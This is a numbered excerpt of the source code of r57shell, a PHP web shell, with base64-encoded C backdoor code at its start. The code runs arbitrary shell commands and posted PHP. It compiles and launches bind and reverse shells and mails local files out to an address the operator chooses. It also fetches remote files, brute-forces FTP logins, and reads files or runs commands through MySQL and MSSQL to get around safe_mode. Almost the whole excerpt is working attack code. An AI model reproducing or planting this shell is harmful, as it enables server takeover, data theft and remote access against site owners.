  1363. vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
  1364. AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
  1365. QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
  1366. ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
  1367. gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
  1368. wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
  1369. 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
  1370. MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
  1371. gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
  1372. 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
  1373. HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
  1374. dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
  1375. KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
  1376. ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
  1377. E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
  1378. Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
  1379. NCiAgICAgIGlmICgob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yhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
  1425. XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
  1426. 8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
  1427. ybmV0LS0+";
  1428. echo $head;
  1429. echo '</head>';
  1430. if(empty($_POST['cmd'])) {
  1431. $serv = array(127,192,172,10);
  1432. $addr=@explode('.', $_SERVER['SERVER_ADDR']);
  1433. $current_version = str_replace('.','',$version);
  1434. if (!in_array($addr[0], $serv)) {
  1435. @print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
  1436. @readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}}  
  1437. echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  1438. <tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp;
  1439. <font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b>
  1440. </font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';
  1441. echo ws(2);
  1442. echo "<b>".date ("d-m-Y H:i:s")."</b>";
  1443. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
  1444. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
  1445. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
  1446. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
  1447. if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; }
  1448. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
  1449. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
  1450. echo ws(2);
  1451. echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>"));
  1452. echo ws(2);
  1453. echo "PHP version: <b>".@phpversion()."</b>";
  1454. $curl_on = @function_exists('curl_version');
  1455. echo ws(2);
  1456. echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>"));
  1457. echo ws(2);
  1458. echo "MySQL: <b>";
  1459. $mysql_on = @function_exists('mysql_connect');
  1460. if($mysql_on){
  1461. echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; }
  1462. echo ws(2);
  1463. echo "MSSQL: <b>";
  1464. $mssql_on = @function_exists('mssql_connect');
  1465. if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
  1466. echo ws(2);
  1467. echo "PostgreSQL: <b>";
  1468. $pg_on = @function_exists('pg_connect');
  1469. if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
  1470. echo ws(2);
  1471. echo "Oracle: <b>";
  1472. $ora_on = @function_exists('ocilogon');
  1473. if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";}
  1474. echo "<br>".ws(2);
  1475. echo "Disable functions : <b>";
  1476. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
  1477. $free = @diskfreespace($dir);
  1478. if (!$free) {$free = 0;}
  1479. $all = @disk_total_space($dir);
  1480. if (!$all) {$all = 0;}
  1481. $used = $all-$free;
  1482. $used_percent = @round(100/($all/$free),2);
  1483. echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>";
  1484. echo '</font></td></tr><table>
  1485. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  1486. <tr><td align=right width=100>';
  1487. echo $font;
  1488. if(!$windows){
  1489. echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1490. echo "</td><td>";
  1491. echo "<font face=Verdana size=-2 color=red><b>";
  1492. $uname = ex('uname -a');
  1493. echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
  1494. if(!$safe_mode){
  1495. $bsd1 = ex('sysctl -n kern.ostype');
  1496. $bsd2 = ex('sysctl -n kern.osrelease');
  1497. $lin1 = ex('sysctl -n kernel.ostype');
  1498. $lin2 = ex('sysctl -n kernel.osrelease');
  1499. }
  1500. if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
  1501. else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
  1502. else { $sysctl = "-"; }
  1503. echo ws(3).$sysctl."<br>";
  1504. echo ws(3).ex('echo $OSTYPE')."<br>";
  1505. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1506. $id = ex('id');
  1507. echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"));
  1508. echo ws(3).$dir;
  1509. echo ws(3).'( '.perms(@fileperms($dir)).' )';
  1510. echo "</b></font>";
  1511. }
  1512. else
  1513. {
  1514. echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1515. echo "</td><td>";
  1516. echo "<font face=Verdana size=-2 color=red><b>";
  1517. echo ws(3).@substr(@php_uname(),0,120)."<br>";
  1518. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1519. echo ws(3).@get_current_user()."<br>";
  1520. echo ws(3).$dir;
  1521. echo "<br></font>";
  1522. }
  1523. echo "</font>";
  1524. echo "</td></tr></table>";
  1525. if(empty($c1)||empty($c2)) { die(); }
  1526. $f = '<br>';
  1527. $f .= base64_decode($c1);
  1528. $f .= base64_decode($c2);
  1529. if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail")
  1530.  {
  1531.  $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n");
  1532.  mr($language,$res);
  1533.  $_POST['cmd']="";  
  1534.  }
  1535. if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
  1536.  {  
  1537.  if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; }
  1538.  else
  1539.   {    
  1540.     $filename = @basename($_POST['loc_file']);
  1541.     $filedump = @fread($file,@filesize($_POST['loc_file']));
  1542.     fclose($file);
  1543.     $content_encoding=$mime_type='';
  1544.     compress($filename,$filedump,$_POST['compress']);
  1545.     $attach = array(
  1546.                     "name"=>$filename,
  1547.                     "type"=>$mime_type,
  1548.                     "content"=>$filedump
  1549.                    );
  1550.     if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
  1551.     if(empty($_POST['from'])) { $_POST['from'] = '@microsoft.com'; }
  1552.     $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
  1553.     mr($language,$res);
  1554.     $_POST['cmd']="";                          
  1555.   }
  1556.  }
  1557. if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
  1558. {
  1559. $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
  1560. }
  1561. if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
  1562.  {
  1563.  switch($_POST['what'])
  1564.    {
  1565.    case 'own':
  1566.    @chown($_POST['param1'],$_POST['param2']);
  1567.    break;
  1568.    case 'grp':
  1569.    @chgrp($_POST['param1'],$_POST['param2']);
  1570.    break;
  1571.    case 'mod':
  1572.    @chmod($_POST['param1'],intval($_POST['param2'], 8));
  1573.    break;
  1574.    }
  1575.  $_POST['cmd']="";
  1576.  }
  1577. if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
  1578.  {
  1579.    switch($_POST['what'])
  1580.    {
  1581.      case 'file':
  1582.       if($_POST['action'] == "create")
  1583.        {
  1584.        if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
  1585.        else {
  1586.         fclose($file);
  1587.         $_POST['e_name'] = $_POST['mk_name'];
  1588.         $_POST['cmd']="edit_file";
  1589.         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
  1590.         }
  1591.        }
  1592.        else if($_POST['action'] == "delete")
  1593.        {
  1594.        if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
  1595.        $_POST['cmd']="";
  1596.        }
  1597.      break;
  1598.      case 'dir':
  1599.       if($_POST['action'] == "create"){
  1600.       if(mkdir($_POST['mk_name']))
  1601.        {
  1602.          $_POST['cmd']="";
  1603.          echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
  1604.        }
  1605.       else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
  1606.       }
  1607.       else if($_POST['action'] == "delete"){
  1608.       if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
  1609.       $_POST['cmd']="";
  1610.       }
  1611.      break;
  1612.    }
  1613.  }
  1614. if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
  1615.  {
  1616.  if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
  1617.  if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; }
  1618.  else {
  1619.  echo $table_up3;
  1620.  echo $font;
  1621.  echo "<form name=save_file method=post>";
  1622.  echo ws(3)."<b>".$_POST['e_name']."</b>";
  1623.  echo "<div align=center><textarea name=e_text cols=121 rows=24>";
  1624.  echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
  1625.  fclose($file);
  1626.  echo "</textarea>";
  1627.  echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
  1628.  echo "<input type=hidden name=dir value=".$dir.">";
  1629.  echo "<input type=hidden name=cmd value=save_file>";
  1630.  echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
  1631.  echo "</div>";
  1632.  echo "</font>";
  1633.  echo "</form>";
  1634.  echo "</td></tr></table>";
  1635.  exit();
  1636.  }
  1637.  }
  1638. if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
  1639.  {
  1640.  if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); }
  1641.  else {
  1642.  @fwrite($file,$_POST['e_text']);
  1643.  @fclose($file);
  1644.  $_POST['cmd']="";
  1645.  echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
  1646.  }
  1647.  }
  1648. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
  1649. {
  1650.  cf("/tmp/bd.c",$port_bind_bd_c);
  1651.  $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
  1652.  @unlink("/tmp/bd.c");
  1653.  $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
  1654.  $_POST['cmd']="ps -aux | grep bd";
  1655. }
  1656. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
  1657. {
  1658.  cf("/tmp/bdpl",$port_bind_bd_pl);
  1659.  $p2=which("perl");
  1660.  if(empty($p2)) $p2="perl";
  1661.  $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
  1662.  $_POST['cmd']="ps -aux | grep bdpl";
  1663. }
  1664. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
  1665. {
  1666.  cf("/tmp/back",$back_connect);
  1667.  $p2=which("perl");
  1668.  if(empty($p2)) $p2="perl";
  1669.  $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
  1670.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  1671. }
  1672. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
  1673. {
  1674.  cf("/tmp/back.c",$back_connect_c);
  1675.  $blah = ex("gcc -o /tmp/backc /tmp/back.c");
  1676.  @unlink("/tmp/back.c");
  1677.  $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
  1678.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  1679. }
  1680. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
  1681. {
  1682.  cf("/tmp/dp",$datapipe_pl);
  1683.  $p2=which("perl");
  1684.  if(empty($p2)) $p2="perl";
  1685.  $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
  1686.  $_POST['cmd']="ps -aux | grep dp";
  1687. }
  1688. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
  1689. {
  1690.  cf("/tmp/dpc.c",$datapipe_c);
  1691.  $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
  1692.  @unlink("/tmp/dpc.c");
  1693.  $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
  1694.  $_POST['cmd']="ps -aux | grep dpc";
  1695. }
  1696. if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}}
  1697. if (!empty($HTTP_POST_FILES['userfile']['name']))
  1698. {
  1699. if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
  1700. else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
  1701. @copy($HTTP_POST_FILES['userfile']['tmp_name'],
  1702.             $_POST['dir']."/".$nfn)
  1703.       or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
  1704. }
  1705. if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
  1706. {
  1707.  switch($_POST['with'])
  1708.  {
  1709.  case wget:
  1710.  $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
  1711.  break;
  1712.  case fetch:
  1713.  $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
  1714.  break;
  1715.  case lynx:
  1716.  $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1717.  break;
  1718.  case links:
  1719.  $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1720.  break;
  1721.  case GET:
  1722.  $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1723.  break;
  1724.  case curl:
  1725.  $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
  1726.  break;
  1727.  }
  1728. }
  1729. if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
  1730.  {
  1731.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  1732.  if(empty($ftp_port)) { $ftp_port = 21; }
  1733.  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  1734.  if(!$connection) { fe($language,0); }
  1735.  else
  1736.   {    
  1737.   if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); }
  1738.   else
  1739.    {   
  1740.    if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);      }
  1741.    if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);     }
  1742.    }
  1743.   }
  1744.  @ftp_close($connection);
  1745.  $_POST['cmd'] = "";
  1746.  }
  1747. if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
  1748.  {
  1749.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  1750.  if(empty($ftp_port)) { $ftp_port = 21; }
  1751.  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  1752.  if(!$connection) { fe($language,0); $_POST['cmd'] = ""; }     
  1753.  else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  1754.  @ftp_close($connection);
  1755.  }
  1756. echo $table_up3;
  1757. if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); }
  1758. else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
  1759. echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
  1760. if($safe_mode)
  1761. {
  1762.  switch($_POST['cmd'])
  1763.  {
  1764.  case 'safe_dir':
  1765.   $d=@dir($dir);
  1766.   if ($d)
  1767.    {
  1768.    while (false!==($file=$d->read()))
  1769.     {
  1770.      if ($file=="." || $file=="..") continue;
  1771.      @clearstatcache();
  1772.      list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  1773.      if($windows){
  1774.      echo date("d.m.Y H:i",$mtime);
  1775.      if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
  1776.      }
  1777.      else{
  1778.      $owner = @posix_getpwuid($uid);
  1779.      $grgid = @posix_getgrgid($gid);
  1780.      echo $inode." ";
  1781.      echo perms(@fileperms($file));
  1782.      printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  1783.      echo date("d.m.Y H:i ",$mtime);
  1784.      }
  1785.      echo "$file\n";
  1786.     }
  1787.    $d->close();
  1788.    }
  1789.   else echo $lang[$language._text29];
  1790.  break;
  1791.  case 'safe_file':
  1792.   if(@is_file($_POST['file']))
  1793.    {
  1794.    $file = @file($_POST['file']);
  1795.    if($file)
  1796.     {
  1797.     $c = @sizeof($file);
  1798.     for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
  1799.     }
  1800.    else echo $lang[$language._text29];
  1801.    }
  1802.   else echo $lang[$language._text31];
  1803.   break;
  1804.   case 'test1':
  1805.   $ci = @curl_init("file://".$_POST['test1_file']."");
  1806.   $cf = @curl_exec($ci);
  1807.   echo $cf;
  1808.   break;
  1809.   case 'test2':
  1810.   @include($_POST['test2_file']);
  1811.   break;
  1812.   case 'test3':
  1813.   if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  1814.   $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  1815.   if($db)
  1816.    {
  1817.    if(@mysql_select_db($_POST['test3_md'],$db))
  1818.     {
  1819.      $sql = "DROP TABLE IF EXISTS temp_r57_table;";
  1820.      @mysql_query($sql);
  1821.      $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
  1822.      @mysql_query($sql);
  1823.      $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
  1824.      @mysql_query($sql);
  1825.      $sql = "SELECT * FROM temp_r57_table;";
  1826.      $r = @mysql_query($sql);
  1827.      while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
  1828.      $sql = "DROP TABLE IF EXISTS temp_r57_table;";
  1829.      @mysql_query($sql);
  1830.     }
  1831.     else echo "[-] ERROR! Can't select database";
  1832.    @mysql_close($db);
  1833.    }
  1834.   else echo "[-] ERROR! Can't connect to mysql server";
  1835.   break;
  1836.   case 'test4':
  1837.   if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  1838.   $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  1839.   if($db)
  1840.    {
  1841.    if(@mssql_select_db($_POST['test4_md'],$db))
  1842.     {
  1843.      @mssql_query("drop table r57_temp_table",$db);
  1844.      @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
  1845.      @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
  1846.      $res = mssql_query("select * from r57_temp_table",$db);
  1847.      while(($row=@mssql_fetch_row($res)))
  1848.       {
  1849.       echo $row[0]."\r\n";
  1850.       }
  1851.     @mssql_query("drop table r57_temp_table",$db);
  1852.     }
  1853.     else echo "[-] ERROR! Can't select database";
  1854.    @mssql_close($db);
  1855.    }
  1856.   else echo "[-] ERROR! Can't connect to MSSQL server";
  1857.   break;
  1858.  }
  1859. }
  1860. else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
  1861.  $cmd_rep = ex($_POST['cmd']);
  1862.  if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
  1863.  else { echo @htmlspecialchars($cmd_rep)."\n"; }}
  1864. if ($_POST['cmd']=="ftp_brute")
  1865.  {
  1866.  $suc = 0;
  1867.  foreach($users as $user)
  1868.   {    
  1869.   $connection = @ftp_connect($ftp_server,$ftp_port,10);
  1870.   if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  1871.   else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  1872.   @ftp_close($connection);
  1873.   }
  1874.  echo "\r\n-------------------------------------\r\n";
  1875.  $count = count($users);
  1876.  if(isset($_POST['reverse'])) { $count *= 2; }
  1877.  echo $lang[$language.'_text97'].$count."\r\n";
  1878.  echo $lang[$language.'_text98'].$suc."\r\n";
  1879.  }
  1880. if ($_POST['cmd']=="php_eval"){
  1881.  $eval = @str_replace("<?","",$_POST['php_eval']);
  1882.  $eval = @str_replace("?>","",$eval);
  1883.  @eval($eval);}
  1884. if ($_POST['cmd']=="db_show")
  1885.  {
  1886.  switch($_POST['db'])
  1887.  {
  1888.  case 'MySQL':
  1889.  if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
  1890.  $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  1891.  if($db)
  1892.    {
  1893.    $res=@mysql_query("SHOW DATABASES", $db);
  1894.    while(($row=@mysql_fetch_row($res)))
  1895.     {
  1896.      echo "[+] ".$row[0]."\r\n";
  1897.      if(isset($_POST['st'])){
  1898.      $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db);
  1899.      while(($row2=@mysql_fetch_row($res2)))
  1900.       {
  1901.       echo " | - ".$row2[0]."\r\n";
  1902.       if(isset($_POST['sc']))
  1903.        {
  1904.        $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db);
  1905.        while(($row3=@mysql_fetch_row($res3))) { echo "   | - ".$row3[0]."\r\n"; }
  1906.        }
  1907.       }
  1908.      }
  1909.     }
  1910.    @mysql_close($db);
  1911.    }
  1912.  else echo "[-] ERROR! Can't connect to MySQL server";         
  1913.  break;
  1914.  case 'MSSQL':
  1915.  if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
  1916.  $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  1917.  if($db)
  1918.    {
  1919.    $res=@mssql_query("sp_databases", $db);
  1920.    while(($row=@mssql_fetch_row($res)))
  1921.     {
  1922.      echo "[+] ".$row[0]."\r\n";
  1923.      if(isset($_POST['st'])){
  1924.      @mssql_select_db($row[0]);
  1925.      $res2 = @mssql_query("sp_tables",$db);
  1926.      while(($row2=@mssql_fetch_array($res2)))
  1927.       {
